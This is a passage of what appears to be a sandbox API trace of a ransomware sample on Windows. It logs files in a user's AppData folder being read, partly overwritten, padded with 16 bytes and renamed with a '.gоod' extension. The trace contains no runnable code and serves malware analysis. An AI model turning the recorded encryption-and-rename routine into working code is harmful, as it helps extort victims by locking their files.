(dwNewMode=0x0, lpOldMode=0x204ee180) returned 1 [0193.197] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\fqhY8t.bmp" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\fqhy8t.bmp"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\fqhY8t.bmp.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\fqhy8t.bmp.gоod")) returned 1 [0193.200] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\G2Lz.png", nBufferLength=0x105, lpBuffer=0x204edd30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\G2Lz.png", lpFilePart=0x0) returned 0x28 [0193.200] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee200) returned 1 [0193.200] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\G2Lz.png" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\g2lz.png"), fInfoLevelId=0x0, lpFileInformation=0x35370c8 | out: lpFileInformation=0x35370c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ebdf30, ftCreationTime.dwHighDateTime=0x1d4d5d8, ftLastAccessTime.dwLowDateTime=0xd2dcc770, ftLastAccessTime.dwHighDateTime=0x1d4ceaf, ftLastWriteTime.dwLowDateTime=0xd2dcc770, ftLastWriteTime.dwHighDateTime=0x1d4ceaf, nFileSizeHigh=0x0, nFileSizeLow=0x89d6)) returned 1 [0193.200] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee1c0) returned 1 [0193.200] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\G2Lz.png", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\G2Lz.png", lpFilePart=0x0) returned 0x28 [0193.200] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0193.200] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\G2Lz.png" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\g2lz.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0193.200] GetFileType (hFile=0x820) returned 0x1 [0193.200] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0193.200] GetFileType (hFile=0x820) returned 0x1 [0193.200] SetFilePointer (in: hFile=0x820, lDistanceToMove=4096, lpDistanceToMoveHigh=0x204ee258*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x204ee258*=0) returned 0x1000 [0193.200] ReadFile (in: hFile=0x820, lpBuffer=0x3537460, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ee228, lpOverlapped=0x0 | out: lpBuffer=0x3537460*, lpNumberOfBytesRead=0x204ee228*=0x1000, lpOverlapped=0x0) returned 1 [0193.201] CloseHandle (hObject=0x820) returned 1 [0193.201] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\G2Lz.png", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\G2Lz.png", lpFilePart=0x0) returned 0x28 [0193.201] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0193.201] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\G2Lz.png" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\g2lz.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0193.201] GetFileType (hFile=0x820) returned 0x1 [0193.201] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0193.202] GetFileType (hFile=0x820) returned 0x1 [0193.202] SetFilePointer (in: hFile=0x820, lDistanceToMove=0, lpDistanceToMoveHigh=0x204ee258*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x204ee258*=0) returned 0x89d6 [0193.202] WriteFile (in: hFile=0x820, lpBuffer=0x35386b8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x204ee148, lpOverlapped=0x0 | out: lpBuffer=0x35386b8*, lpNumberOfBytesWritten=0x204ee148*=0x10, lpOverlapped=0x0) returned 1 [0193.202] CloseHandle (hObject=0x820) returned 1 [0193.202] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\G2Lz.png", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\G2Lz.png", lpFilePart=0x0) returned 0x28 [0193.202] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0193.202] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\G2Lz.png" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\g2lz.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0193.202] GetFileType (hFile=0x820) returned 0x1 [0193.202] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0193.202] GetFileType (hFile=0x820) returned 0x1 [0193.202] ReadFile (in: hFile=0x820, lpBuffer=0x353a938, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ee1d8, lpOverlapped=0x0 | out: lpBuffer=0x353a938*, lpNumberOfBytesRead=0x204ee1d8*=0x1000, lpOverlapped=0x0) returned 1 [0195.986] CloseHandle (hObject=0x820) returned 1 [0195.986] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\G2Lz.png", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\G2Lz.png", lpFilePart=0x0) returned 0x28 [0195.986] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0195.986] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\G2Lz.png" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\g2lz.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0195.986] GetFileType (hFile=0x820) returned 0x1 [0195.986] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0195.986] GetFileType (hFile=0x820) returned 0x1 [0195.987] WriteFile (in: hFile=0x820, lpBuffer=0x34b29d0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x204ee288, lpOverlapped=0x0 | out: lpBuffer=0x34b29d0*, lpNumberOfBytesWritten=0x204ee288*=0x1010, lpOverlapped=0x0) returned 1 [0195.987] CloseHandle (hObject=0x820) returned 1 [0195.987] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\G2Lz.png", nBufferLength=0x105, lpBuffer=0x204edd30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\G2Lz.png", lpFilePart=0x0) returned 0x28 [0195.987] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\G2Lz.png.gоod", nBufferLength=0x105, lpBuffer=0x204edd30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\G2Lz.png.gоod", lpFilePart=0x0) returned 0x2d [0195.987] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee1c0) returned 1 [0195.987] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\G2Lz.png" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\g2lz.png"), fInfoLevelId=0x0, lpFileInformation=0x204ee2a0 | out: lpFileInformation=0x204ee2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ebdf30, ftCreationTime.dwHighDateTime=0x1d4d5d8, ftLastAccessTime.dwLowDateTime=0xd2dcc770, ftLastAccessTime.dwHighDateTime=0x1d4ceaf, ftLastWriteTime.dwLowDateTime=0x7107f4d5, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x89e6)) returned 1 [0195.987] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee180) returned 1 [0195.987] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\G2Lz.png" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\g2lz.png"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\G2Lz.png.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\g2lz.png.gоod")) returned 1 [0195.988] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\iF4Wfrb ggeFAts.wav", nBufferLength=0x105, lpBuffer=0x204edd30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\iF4Wfrb ggeFAts.wav", lpFilePart=0x0) returned 0x33 [0195.988] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee200) returned 1 [0195.988] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\iF4Wfrb ggeFAts.wav" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\if4wfrb ggefats.wav"), fInfoLevelId=0x0, lpFileInformation=0x366dfe0 | out: lpFileInformation=0x366dfe0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25c163b0, ftCreationTime.dwHighDateTime=0x1d4cca8, ftLastAccessTime.dwLowDateTime=0xca7a5d40, ftLastAccessTime.dwHighDateTime=0x1d4c95f, ftLastWriteTime.dwLowDateTime=0xca7a5d40, ftLastWriteTime.dwHighDateTime=0x1d4c95f, nFileSizeHigh=0x0, nFileSizeLow=0x6fcf)) returned 1 [0195.988] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee1c0) returned 1 [0195.989] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\iF4Wfrb ggeFAts.wav", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\iF4Wfrb ggeFAts.wav", lpFilePart=0x0) returned 0x33 [0195.989] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0195.989] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\iF4Wfrb ggeFAts.wav" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\if4wfrb ggefats.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0195.989] GetFileType (hFile=0x820) returned 0x1 [0195.989] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0195.989] GetFileType (hFile=0x820) returned 0x1 [0195.989] SetFilePointer (in: hFile=0x820, lDistanceToMove=4096, lpDistanceToMoveHigh=0x204ee258*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x204ee258*=0) returned 0x1000 [0195.989] ReadFile (in: hFile=0x820, lpBuffer=0x366e3b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ee228, lpOverlapped=0x0 | out: lpBuffer=0x366e3b8*, lpNumberOfBytesRead=0x204ee228*=0x1000, lpOverlapped=0x0) returned 1 [0195.990] CloseHandle (hObject=0x820) returned 1 [0195.990] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\iF4Wfrb ggeFAts.wav", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\iF4Wfrb ggeFAts.wav", lpFilePart=0x0) returned 0x33 [0195.990] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0195.990] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\iF4Wfrb ggeFAts.wav" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\if4wfrb ggefats.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0195.990] GetFileType (hFile=0x820) returned 0x1 [0195.990] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0195.990] GetFileType (hFile=0x820) returned 0x1 [0195.990] SetFilePointer (in: hFile=0x820, lDistanceToMove=0, lpDistanceToMoveHigh=0x204ee258*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x204ee258*=0) returned 0x6fcf [0195.990] WriteFile (in: hFile=0x820, lpBuffer=0x366f630*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x204ee148, lpOverlapped=0x0 | out: lpBuffer=0x366f630*, lpNumberOfBytesWritten=0x204ee148*=0x10, lpOverlapped=0x0) returned 1 [0195.991] CloseHandle (hObject=0x820) returned 1 [0195.991] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\iF4Wfrb ggeFAts.wav", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\iF4Wfrb ggeFAts.wav", lpFilePart=0x0) returned 0x33 [0195.991] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0195.991] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\iF4Wfrb ggeFAts.wav" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\if4wfrb ggefats.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0195.991] GetFileType (hFile=0x820) returned 0x1 [0195.991] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0195.991] GetFileType (hFile=0x820) returned 0x1 [0195.991] ReadFile (in: hFile=0x820, lpBuffer=0x36718d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ee1d8, lpOverlapped=0x0 | out: lpBuffer=0x36718d0*, lpNumberOfBytesRead=0x204ee1d8*=0x1000, lpOverlapped=0x0) returned 1 [0197.696] CloseHandle (hObject=0x820) returned 1 [0197.696] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\iF4Wfrb ggeFAts.wav", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\iF4Wfrb ggeFAts.wav", lpFilePart=0x0) returned 0x33 [0197.696] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0197.696] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\iF4Wfrb ggeFAts.wav" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\if4wfrb ggefats.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0197.696] GetFileType (hFile=0x820) returned 0x1 [0197.696] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0197.696] GetFileType (hFile=0x820) returned 0x1 [0197.696] WriteFile (in: hFile=0x820, lpBuffer=0x359ca30*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x204ee288, lpOverlapped=0x0 | out: lpBuffer=0x359ca30*, lpNumberOfBytesWritten=0x204ee288*=0x1010, lpOverlapped=0x0) returned 1 [0197.696] CloseHandle (hObject=0x820) returned 1 [0197.696] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\iF4Wfrb ggeFAts.wav", nBufferLength=0x105, lpBuffer=0x204edd30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\iF4Wfrb ggeFAts.wav", lpFilePart=0x0) returned 0x33 [0197.697] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\iF4Wfrb ggeFAts.wav.gоod", nBufferLength=0x105, lpBuffer=0x204edd30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\iF4Wfrb ggeFAts.wav.gоod", lpFilePart=0x0) returned 0x38 [0197.697] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee1c0) returned 1 [0197.697] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\iF4Wfrb ggeFAts.wav" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\if4wfrb ggefats.wav"), fInfoLevelId=0x0, lpFileInformation=0x204ee2a0 | out: lpFileInformation=0x204ee2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25c163b0, ftCreationTime.dwHighDateTime=0x1d4cca8, ftLastAccessTime.dwLowDateTime=0xca7a5d40, ftLastAccessTime.dwHighDateTime=0x1d4c95f, ftLastWriteTime.dwLowDateTime=0x720bd331, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x6fdf)) returned 1 [0197.697] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee180) returned 1 [0197.697] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\iF4Wfrb ggeFAts.wav" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\if4wfrb ggefats.wav"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\iF4Wfrb ggeFAts.wav.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\if4wfrb ggefats.wav.gоod")) returned 1 [0197.698] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\iqCkS8rk7.wav", nBufferLength=0x105, lpBuffer=0x204edd30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\iqCkS8rk7.wav", lpFilePart=0x0) returned 0x2d [0197.698] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee200) returned 1 [0197.698] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\iqCkS8rk7.wav" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\iqcks8rk7.wav"), fInfoLevelId=0x0, lpFileInformation=0x3669778 | out: lpFileInformation=0x3669778*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9088500, ftCreationTime.dwHighDateTime=0x1d4cd2e, ftLastAccessTime.dwLowDateTime=0xedd00d20, ftLastAccessTime.dwHighDateTime=0x1d4cf2d, ftLastWriteTime.dwLowDateTime=0xedd00d20, ftLastWriteTime.dwHighDateTime=0x1d4cf2d, nFileSizeHigh=0x0, nFileSizeLow=0xa6b7)) returned 1 [0197.698] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee1c0) returned 1 [0197.698] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\iqCkS8rk7.wav", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\iqCkS8rk7.wav", lpFilePart=0x0) returned 0x2d [0197.698] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0197.698] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\iqCkS8rk7.wav" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\iqcks8rk7.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0197.699] GetFileType (hFile=0x820) returned 0x1 [0197.863] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0199.185] GetFileType (hFile=0x820) returned 0x1 [0199.185] SetFilePointer (in: hFile=0x820, lDistanceToMove=4096, lpDistanceToMoveHigh=0x204ee258*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x204ee258*=0) returned 0x1000 [0199.263] ReadFile (in: hFile=0x820, lpBuffer=0x36c68f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ee228, lpOverlapped=0x0 | out: lpBuffer=0x36c68f8*, lpNumberOfBytesRead=0x204ee228*=0x1000, lpOverlapped=0x0) returned 1 [0199.263] CloseHandle (hObject=0x820) returned 1 [0199.264] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\iqCkS8rk7.wav", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\iqCkS8rk7.wav", lpFilePart=0x0) returned 0x2d [0199.264] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0199.264] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\iqCkS8rk7.wav" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\iqcks8rk7.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0199.264] GetFileType (hFile=0x820) returned 0x1 [0199.264] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0199.264] GetFileType (hFile=0x820) returned 0x1 [0199.264] SetFilePointer (in: hFile=0x820, lDistanceToMove=0, lpDistanceToMoveHigh=0x204ee258*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x204ee258*=0) returned 0xa6b7 [0199.264] WriteFile (in: hFile=0x820, lpBuffer=0x36c7b60*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x204ee148, lpOverlapped=0x0 | out: lpBuffer=0x36c7b60*, lpNumberOfBytesWritten=0x204ee148*=0x10, lpOverlapped=0x0) returned 1 [0199.264] CloseHandle (hObject=0x820) returned 1 [0199.264] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\iqCkS8rk7.wav", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\iqCkS8rk7.wav", lpFilePart=0x0) returned 0x2d [0199.264] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0199.264] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\iqCkS8rk7.wav" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\iqcks8rk7.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0199.265] GetFileType (hFile=0x820) returned 0x1 [0199.265] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0199.265] GetFileType (hFile=0x820) returned 0x1 [0199.265] ReadFile (in: hFile=0x820, lpBuffer=0x36c9df0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ee1d8, lpOverlapped=0x0 | out: lpBuffer=0x36c9df0*, lpNumberOfBytesRead=0x204ee1d8*=0x1000, lpOverlapped=0x0) returned 1 [0199.297] CloseHandle (hObject=0x820) returned 1 [0199.297] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\iqCkS8rk7.wav", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\iqCkS8rk7.wav", lpFilePart=0x0) returned 0x2d [0199.518] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0199.521] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\iqCkS8rk7.wav" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\iqcks8rk7.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0199.521] GetFileType (hFile=0x824) returned 0x1 [0199.521] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0199.521] GetFileType (hFile=0x824) returned 0x1 [0199.521] WriteFile (in: hFile=0x824, lpBuffer=0x36c8b78*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x204ee288, lpOverlapped=0x0 | out: lpBuffer=0x36c8b78*, lpNumberOfBytesWritten=0x204ee288*=0x1010, lpOverlapped=0x0) returned 1 [0199.522] CloseHandle (hObject=0x824) returned 1 [0199.522] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\iqCkS8rk7.wav", nBufferLength=0x105, lpBuffer=0x204edd30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\iqCkS8rk7.wav", lpFilePart=0x0) returned 0x2d [0199.522] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\iqCkS8rk7.wav.gоod", nBufferLength=0x105, lpBuffer=0x204edd30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\iqCkS8rk7.wav.gоod", lpFilePart=0x0) returned 0x32 [0199.522] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee1c0) returned 1 [0199.522] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\iqCkS8rk7.wav" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\iqcks8rk7.wav"), fInfoLevelId=0x0, lpFileInformation=0x204ee2a0 | out: lpFileInformation=0x204ee2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9088500, ftCreationTime.dwHighDateTime=0x1d4cd2e, ftLastAccessTime.dwLowDateTime=0xedd00d20, ftLastAccessTime.dwHighDateTime=0x1d4cf2d, ftLastWriteTime.dwLowDateTime=0x73238286, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xa6c7)) returned 1 [0199.522] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee180) returned 1 [0199.522] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\iqCkS8rk7.wav" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\iqcks8rk7.wav"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\iqCkS8rk7.wav.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\iqcks8rk7.wav.gоod")) returned 1 [0199.526] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\JCLiCckShC2ALo.pps", nBufferLength=0x105, lpBuffer=0x204edd30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\JCLiCckShC2ALo.pps", lpFilePart=0x0) returned 0x32 [0199.528] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee200) returned 1 [0199.528] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\JCLiCckShC2ALo.pps" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\jclicckshc2alo.pps"), fInfoLevelId=0x0, lpFileInformation=0x3931cc0 | out: lpFileInformation=0x3931cc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec11adf0, ftCreationTime.dwHighDateTime=0x1d4cf72, ftLastAccessTime.dwLowDateTime=0x4961b9f0, ftLastAccessTime.dwHighDateTime=0x1d4c5b9, ftLastWriteTime.dwLowDateTime=0x4961b9f0, ftLastWriteTime.dwHighDateTime=0x1d4c5b9, nFileSizeHigh=0x0, nFileSizeLow=0x4e60)) returned 1 [0199.528] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee1c0) returned 1 [0199.528] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\JCLiCckShC2ALo.pps", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\JCLiCckShC2ALo.pps", lpFilePart=0x0) returned 0x32 [0199.528] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0199.529] CreateFileW 